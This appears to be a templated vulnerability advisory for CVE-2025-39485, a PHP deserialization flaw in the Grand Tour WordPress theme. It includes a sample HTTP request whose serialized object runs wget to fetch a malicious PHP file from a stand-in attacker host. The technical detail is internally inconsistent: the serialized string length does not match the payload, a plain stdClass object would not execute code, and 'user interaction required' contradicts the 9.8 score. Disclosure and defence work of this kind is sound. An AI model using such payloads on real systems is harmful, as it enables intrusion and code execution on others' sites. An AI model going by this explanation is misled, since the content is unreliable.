Overview
The Common Vulnerabilities and Exposures (CVE) system has identified a significant cybersecurity threat, tagged as CVE-2025-39485. This vulnerability pertains to the deserialization of untrusted data within the ThemeGoods Grand Tour | Travel Agency WordPress theme. The threat affects a wide range of users, from individual bloggers to large travel agencies, who have employed this particular theme on their WordPress websites. This vulnerability matters because it permits object injection that can potentially compromise the system or lead to data leakage, causing substantial damage to the affected parties.
Vulnerability Summary
CVE ID: CVE-2025-39485
Severity: Critical (CVSS 9.8)
Attack Vector: Web
Privileges Required: None
User Interaction: Required
Impact: System compromise and data leakage
Affected Products
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Product | Affected Versions
Grand Tour | Travel Agency WordPress Theme | n/a through 5.5.1
How the Exploit Works
The exploit takes advantage of a weakness in the theme’s code that permits untrusted data deserialization. An attacker can manipulate serialized objects to embed malicious code. When the system deserializes the objects, the malicious code is executed, paving the way for a variety of possible attacks, including unauthorized system access, data theft, or even a complete system takeover.
Conceptual Example Code
Below is a conceptual example of how an attacker might exploit the vulnerability in a HTTP request:
POST /wp-content/themes/grandtour/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/php-serialized
O:8:"stdClass":1:{s:6:"inject";s:46:"system('wget http://attacker.com/malicious.php');";}In this hypothetical example, the attacker sends a serialized PHP object containing a system command to download a malicious PHP file from their server. The target server then deserializes the object, executing the malicious code in the process.
Recommended Mitigation
Users of the affected versions of the Grand Tour | Travel Agency WordPress theme are advised to apply the vendor patch as soon as it becomes available. In the interim, the implementation of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. Regular system and data backups are also recommended to minimize potential data loss.